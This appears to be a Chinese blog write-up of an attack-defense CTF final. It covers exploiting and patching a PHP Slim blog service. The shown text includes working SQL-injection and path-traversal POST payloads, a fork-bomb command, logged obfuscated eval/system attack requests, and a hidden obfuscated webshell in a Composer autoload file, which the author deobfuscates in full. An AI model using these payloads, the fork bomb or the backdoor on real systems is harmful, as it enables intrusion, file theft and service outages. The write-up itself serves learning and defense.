得益于初赛的人品,我们有幸入围了决赛。但是对于决赛的比赛方式:攻防赛,我们并不了解,事先也不知道需要准备哪些东西,只是配了几个扫描器,然后就是之前用的 IDA 之类的工具和各种语言环境。经过两天的比赛,最终成绩是第 12 名(如果没有赛后的名次变动的话)。这次比赛确实让我学到了一些东西,下面我就来说一说吧~
各组选手维护相同的一系列服务,每五分钟(第二天改为了三分钟)为一轮,有一个flag 文件是 /home/flag/flag
,你需要努力获取其它队伍的 flag 文件,也要尽量保证自己的 flag 文件不会被获取。每一轮这个文件的内容都会变,每一轮每个队伍只能提交获取到的其它各个队伍的 flag 各一次。也就是说,如果你不把漏洞修好,那么每一轮都可以被所有发现该漏洞的队伍攻击一次;每一轮会有一次服务存活检测,如果服务 down 掉了,丢失的分数会更多。
由于这次的题目类型大多是 PWN 的,而我是一只 WEB 狗,所以大部分的分数并不是我拿的,对于 PWN 的题目我也没法做什么分析。这次比赛的 WEB 题是这样的:你要维护的是一个简单的博客系统,使用的框架是 PHP Slim,支持最简单的注册、登录、发博文(标题、纯文本内容、模板名称)的功能。flag 文件是 /home/flag/flag
,属于 www-data
,权限为 511(每一轮自动换)。我们需要获取其它队伍的 flag 文件中的内容。
与之同时发布的还有一道 PWN 题,@沈园 同学果断接下了这个锅(事实上我们几乎所有有成绩的 PWN 题,修补漏洞和编写 EXP 都是他负责的,在此先膜拜一下 ),我和@SummerZhang 同学开始看 WEB。
首先先用 tar
命令将整个 web 目录打包,放到 /tmp
下,然后通过 scp
命令将其复制到本地。
1 scp ctf@10.250.111.11:/tmp/www.tar.gz ./www.tar.gz
解压缩之后对里面的文件进行逐一查看:
1 2 3 4 5 6 7 8 9 10 11 web ├─html │ ├─css │ ├─fonts │ │ └─roboto │ ├─img │ └─js ├─log ├─templates │ └─note_tpl └─vendor
其中 html
文件夹中主要是 PHP 文件,config.php
是一些配置项,包括数据库的账号和密码,由于每一队维护的服务代码都是相同的,而且我们也没权限修改数据库的登录密码,因此这些无需修改。但是上面有这么一句:
1 $config ['displayErrorDetails' ] = true ;
为了保险起见还是改成 false
吧。接下来是 db.php
,是自己写的一个库文件,我们大概能感觉到这里面会有 SQL 注入的风险。
1 2 3 public function where ($key = '' , $operate = '' , $value = '' ) { $this ->where[] = sprintf("%s %s '%s'" , $this ->filter($key ), $operate , $this ->filter($value )); }
看到这个函数的时候我还诧异:居然写了过滤?然而找到这个函数之后才发现:
1 2 3 public function filter ($value ) { return $value ; }
坑爹呢!于是赶紧在 return 的值外面包了层 addslashes
。继续往下看有个 select
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public function select ($value = '*' ) { if (count($this ->where) == 0 ) { $sql = sprintf("SELECT %s FROM %s " , $value , $this ->table); } else { $where = implode(' AND ' , $this ->where); $sql = sprintf("SELECT %s FROM %s WHERE %s" , $value , $this ->table, $where ); } $sql .= $this ->limit; $this ->limit = '' ; $result = mysqli_query($this ->conn, $sql ); if (!$result ) return null ; while ($tmp = mysqli_fetch_row($result )) { $ret [] = $tmp ; } return @$ret ; }
不用想了,$where
这儿也有问题。在 else
一段为它添加 addslashes
吧:
1 2 3 4 5 6 7 8 else { $o = array (); foreach ($where as $key => $value ) { $o [$key ] = addslashes($value ); } $where = implode(' AND ' , $o ); $sql = sprintf("SELECT %s FROM %s WHERE %s" , $value , $this ->table, $where ); }
下面是一个 insert
函数,不定参数。其中有一句似乎是调用了 $this->filter
:
1 $args_list = array_map(array ($this , 'filter' ), func_get_args());
这段应该是没问题的,所以不改了。下面的 sess
类和 hello
函数也没发现什么问题。至此,db.php
已经没有什么明显的 BUG 了。接下来看 index.php
,其中对路由 /list
的处理中,有一段看起来可能有问题:获取到文章的信息存放到 $result
之后,执行渲染的函数:
1 2 3 4 5 6 return $this ->view->render($response , "/list.tpl" , array ( 'username' => $hello , 'notes' => $result , 'total_page' => $total_page , 'current_page' => $current_page ));
其中 /list.tpl
文件中有这样一段:
1 2 3 4 5 6 {% for note in notes %} {% embed note.3 %} {% block title %}{{ note.1 }}{% endblock %} {% block content %}{{ note.2 }}{% endblock %} {% endembed %} {% endfor %}
note.3
是我们发这篇文章时选择的模板文件,它是在路由 /post
中被这样生成的:
1 2 3 4 5 $title = $parsedBody ['title' ];$content = $parsedBody ['content' ];$temp = "/note_tpl/{$parsedBody['temp']} .tpl" ;$this ->db->table('notes' );$this ->db->insert($username , $title , $content , $temp );
当然,如果 filter
函数没有修改的话,可以这样直接注入:
1 2 3 4 5 6 POST /post HTTP/1.1Host : 10.250.1xx.11Cookie : PHPSESSID=[logged_session_id][Other headers] content=xxx&temp=0&title=1%27%2C+%27title%27%2C+%27%5C%2Fnote_tpl%5C%2F..%5C%2F..%5C%2F..%5C%2F..%5C%2Fhome%5C%2Fflag%5C%2Fflag%27%29+%23+
这样拼接出来的 SQL 是:
1 INSERT INTO notes VALUES ('[logged_username]' , '1' , 'title' , '\/note_tpl\/..\/..\/..\/..\/home\/flag\/flag' )
于是在 render 的时候会触发文件包含的漏洞。如果数据库防了注入,这招就失灵了。但是我们可以这样:发现数据库的 template
字段类型是 varchar
,有长度限制,我们只需要用空格填满剩余的空间即可:
1 title=0&content=xxx&temp=..%2F..%2F..%2F..%2Fhome%2Fflag%2Fflag++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
于是存到数据库中的就相当于 /home/flag/flag
了。要说这个也属于逻辑设计不合理,应该是在数据库存放文件名,然后渲染之前现场拼接路径。其实 Slim 本身也做了一层过滤,在 vendor/twig/twig/lib/Twig/Loader/Filesystem.php
中有过滤的函数,把注释去掉就可以限定包含的文件只能在当前目录下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 protected function validateName ($name ) { if (false !== strpos($name , "\0" )) { throw new Twig_Error_Loader('A template name cannot contain NUL bytes.' ); } $name = ltrim($name , '/' ); $parts = explode('/' , $name ); $level = 0 ; foreach ($parts as $part ) { if ('..' === $part ) { --$level ; } elseif ('.' !== $part ) { ++$level ; } if ($level < 0 ) { } } }
但是这么修改太麻烦了,我们看了一下,只有三个模板,文件名分别是 1、2、3……于是果断加了一句:
1 2 3 $parsedBody ['temp' ] = intval($parsedBody ['temp' ]);$temp = "/note_tpl/{$parsedBody['temp']} .tpl" ;
这下管你什么文件包含呢,通通没办法了吧?于是第一天我们的 WEB 题没有丢分(有一段时间许多队伍的 WEB 被 DoS 了,而 DoS 是被规则禁止的攻击方式,不知道主办方会怎么处理,这段时间的丢分我就认为不算丢分吧),反倒还拿了其它队伍不少分。
但是第二天就奇怪了,一大片队伍的 WEB 题都 down 掉了,我们不光 down 了,还被拿到了 flag。这怎么能忍?我们一遍遍排查代码,确认没有什么逻辑上的漏洞。然后突然发现服务器操作特别慢,于是 ps aux
了一下,发现了一大堆这样的命令:
1 sh -c echo 123;x () { x|x& };x
卧槽,居然连 fork 炸弹都上了!这也是被规则禁止的,于是我们通知了主办方,主办方把所有队伍的 WEB 服务都重启了一遍,但是我们的 WEB 题还是既 down 又被 flag,简直神奇。看了一下 /tmp
目录下被上传了一堆 shell,但是我们的 ctf 用户没权限删除 www-data 用户创建的内容。后来我们直接给自己的服务器上了一个 webshell(这就是俗话说的:我急了连自己的机器都上 shell!),因为 webshell 就是以 www-data 用户身份运行的。我们没发现有什么可以上传文件的地方,但是确实是被 get shell 了,于是在找出上传方法之前,先将所有的 shell 文件 kill 掉,然后对其执行 chmod 000
;刚才 ps 的时候还发现了一个定时发送 flag 的 crontab,于是也果断将其清空。
就算这样还是被 flag 了,而且还在 down 着。我们在改完代码测试流程的时候偶然发现无法注册无法登录,于是猜想是不是数据库挂掉了,于是连进数据库一看,发现整个 database 全部被 drop 掉了……我们之前没有备份数据库,但是凭借着一点点记忆力以及@SummerZhang 同学根据代码推断数据库结构的能力,直接手动建起了数据库,恢复了服务的运行:
1 2 3 4 create database 0 ops;use 0 ops;create table users (username varchar (255 ), password varchar (255 ));create table notes (username varchar (255 ), title varchar (255 ), content varchar (255 ), temp varchar (255 ));
但是文件是怎么传上来的呢?我们在 index.php
文件的最一开始加了一段代码,可以将全部的 HTTP 请求包记录到 /tmp/log.txt
中,然后我们就在命令行中 tail -f /tmp/log.txt
,开始分析所有的请求,最终锁定了两个奇怪的请求:
1 2 3 4 5 6 7 8 GET /index.php?59b620d4=6cd13eb6assert41a2e1&edfd2=50cbin1d3&208a8e=74fe6cdupload89f&25411bcd=cdde9uploadf814ff266a&cecc789=9ce4c38feeval1de&2e84e621f=368c9e9baa918e&7657=b4a6uploadb339c1b1a&d54c1=1925cinto4aa&28d5bd999f=e7fselect3c37&b5fee3356a=c27ceeval2038&43a7c6bb4=4b3b74assert7a51&e9f6642fc=27b7into244&10fd41aefe=44e18a89a6into2a2f&08a3c97=ee6into3a909a4&c565ef5=6ec68upload2224e453&4df26=1fd254select4caaf&3c743ef7=a69bbfaassertbfa HTTP/1.1Host : 10.250.111.11Connection : keep-aliveAccept_encoding : gzip, deflateAccept : */*User_agent : python-requests/2.10.0Accept_language : xh-ZA,sa;q=0.5,se;q=0.7,sm;q=0.8Referer : http://localhost/index.php?379=60c8and6cc&8cdf38c0c=6f9%2Fbin%2Fbash96ca9&62ca6c1a1=52f58bin4550b2b528&9b4f5=c78d226select632b6&70d7cb=b7bc3576bevale12&id6=a45&id7=b7c&id8=TPp8K%2FzwM3%2F%2Fqn7rfXdJvnuo%2BE179U8e4jblqfr3KeJ7rX4qNSsureJmZY89Pg%3D%3D93d&d99=9&id10=707
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /post HTTP/1.1Host : 10.250.111.11Accept_encoding : gzip, deflateAccept : */*User_agent : python-requests/2.7.0 CPython/2.7.9 Linux/4.0.0-kali1-amd64Connection : keep-aliveCookie : PHPSESSID=k4146i6hp0os7siaa8c2526no7content=,1,0x2f6e6f74655f74706c2f2e2e2f2e2e2f2e2e2f2e2e2f686f6d652f666c61672f666c6167)--+xGj6Evnwu0Lbt4cl1oNKMJJTWOb21MNt5QdqMJiE4ojuUhtUb69&nFXwtiv= Ok=system('uWz1E2Ygq4jZA5JfdwoAVT17xr9Ped8gujeO".str_rot13("0xZ8FCS8uJQKVJXbXQY7wSYZF3ZowvUv0hw3LIN6E".base64_decode("ypyQrdo7V5t0sZVWBmaLBtmK6aZL7yMZul".eval('xMFxdIFg4zkzyok0gEP2DjMnp8cFLiOlNC5EC776HARtCbn4NkycJ8QN'.var_dump("I1X5Qa4vZHVTjyhead>eDY7920XJdQ44mKSHOLnvgJ".$_SERVER[HTTP_z7Hp57U]("IKtFLD3vFLrxfig3hyZiUyGwP5Qt2QR3dClXFEr7v')"ARRnCZtnLPk54s77D5ILVT8UZxeXFjb5ViV1JKgGeCRHPRpjqoHw9cEE'))'fCvM6J7W0xC0PIPv6x2TPnpOlOOLvufuofXV4myGroWjw6')'qeToFSdgfyXTwK9fFIITmodMiZLN6bhJ3iNMqm9AX60do') w2RG=system("CCCO5SSrVWrZsBdytM1xTLObt29O639w055UKmgnO55eXMYMzNiCcqfio'.system("DcnBcrhnwJDpGEeSTRrCnHfNBRbMvdfw8Yblp8W8u2G5ysE6G".unlink("QVcHdkVThSo0xAU4Zstc2jF6p6owFvqdah'.strrev('jQwHGxixZF4s4mVVQko2jJ17j9yZgagl8ycD"))) temp=L1Jqzh4S0PcMRxRGhkqQNHllS title=wV2iOeYuLEh41X7WvpGbXcgkJYPubTjEM2s9eYcPrXQMMG\
我们自己尝试了一下,第二个请求之后会直接报 Slim application error
,但是保险起见我们将所有 UA 带有 -kali-
字样的请求全部 die 掉,第一个请求貌似是主办方的服务存活检测,因为将其 die 掉之后我们的网站虽然还能正常运行,但是被判定为 down(但是没有被 flag,这一点我没有及时注意到,这是我的锅),取消 die 之后又变回了只被 flag 的状态。后来惊觉:这是主办方留的后门被人利用了!在 vendor/autoload.php
下面发现了后门:
1 2 require_once __DIR__ . '/composer' . '/autoload_real.php' ;return ComposerAutoloaderInit854778b4c93a322cf2f5c39e558d9f7a::getLoader();
在 vendor/composer/autoload_real.php
中发现了这样一段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $h ='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)' ;$H ='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}' ;$N ='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p' ;$u ='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/' ;$f ='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)' ;$O ='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(' ;$w =')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m' ;$P ='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3' ;$i =')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)' ;$x ='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m' ;$y =str_replace('b' ,'' ,'crbebbabte_funcbbtion' );$c ='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;' ;$L =str_replace(')m' ,'' ,$c .$f .$N .$i .$x .$P .$w .$O .$u .$h .$H );$v =$y ('' ,$L );$v ();function composerRequire854778b4c93a322cf2f5c39e558d9f7a ($fileIdentifier , $file ) { if (empty ($GLOBALS ['__composer_autoload_files' ][$fileIdentifier ])) { require $file ; $GLOBALS ['__composer_autoload_files' ][$fileIdentifier ] = true ; } }
上面那一串乱码一样的东西其实是个混淆,只要稍微改一改,顺着解析一遍就可以了。把最后的 $v();
去掉(一看就是用来执行解析出来的函数的),然后输出 $y
、$L
:
1 2 3 4 【$y】 create_function 【$L】 $kh="4f7f";$kf="28d7";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}
所以重点就是 $L
了。稍微美化一下,在不修改逻辑的情况下简化一些语句,可得:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 function xor_encode ($text , $key ) { $result = "" ; for ($i = 0 ; $i < strlen($text );) { for ($j = 0 ; ($j < strlen($key ) && $i < strlen($text )); $j ++, $i ++) { $result .= $text [$i ] ^ $key [$j ]; } } return $result ; } if ($_SERVER ["HTTP_REFERER" ] && $_SERVER ["HTTP_ACCEPT_LANGUAGE" ]) { $u = parse_url($_SERVER ["HTTP_REFERER" ]); parse_str($u ["query" ], $get ); $get = array_values($get ); preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/" , $_SERVER ["HTTP_ACCEPT_LANGUAGE" ], $match ); if ($get && $match ) { @session_start(); $i = $match [1 ][0 ].$match [1 ][1 ]; $h = strtolower(substr(md5($i ."4f7f" ), 0 , 3 )); $f = strtolower(substr(md5($i ."28d7" ), 0 , 3 )); $p = "" ; for ($z = 1 ; $z < count($match [1 ]); $z ++) $p .= $get [$match [2 ][$z ]]; if (strpos($p , $h ) === 0 ) { $_SESSION [$i ] = "" ; $p = substr($p , 3 ); } if (array_key_exists($i , $_SESSION )) { $_SESSION [$i ] .= $p ; $e = strpos($_SESSION [$i ], $f ); if ($e ) { $k = "4f7f28d7" ; ob_start(); @eval (@gzuncompress(@xor_encode(@base64_decode(preg_replace(array ("/_/" , "/-/" ), array ("/" , "+" ), substr($s [$i ], 0 , $e ))), $k ))); $o = ob_get_contents(); ob_end_clean(); $d = base64_encode(xor_encode(gzcompress($o ), $k )); print ("<$k >$d </$k >" ); @session_destroy(); } } } }
可以看出这就是个 webshell,内容是通过 Referer 传进来的。除了好多加密解密以绕过过滤的函数以外,核心代码在这儿:
1 2 3 4 5 6 ob_start(); @eval (@gzuncompress(@xor_encode(@base64_decode(preg_replace(array ("/_/" , "/-/" ), array ("/" , "+" ), substr($s [$i ], 0 , $e ))), $k ))); $o = ob_get_contents();ob_end_clean(); $d = base64_encode(xor_encode(gzcompress($o ), $k ));print ("<$k >$d </$k >" );
所以只要以同样的方式传进来数据,那么显然可以直接 get shell!似乎这个文件由于权限问题没法直接修改,所以解决问题的最简单的方法就是在 index.php
中加入一行代码:
1 $_SERVER ['HTTP_REFERER' ] = 'Hello friend' ;
改完之后又过了一轮,我们的 WEB 完全正常了。虽然这个时候已经被打的很惨了……
至于那些 PWN 的题,@沈园 同学负责分析、补漏洞(直接手工修改二进制文件也是 666)、写 exp,@SummerZhang 同学来跑 exp,因为 exp 不是很稳定所以他还顺便当了一次人肉守护进程。
当然,也多亏 @SummerZhang 同学连夜搞出了那道 400 分的静态分析题,现学现卖的能力果然好强。
总之,还是我们的水平不够啊……不过这次比赛对我们以后为校内赛出题提供了很多思路,说不定以后的 NUAACTF 就不光会有 CTF,还会有渗透和攻防的赛程了呢!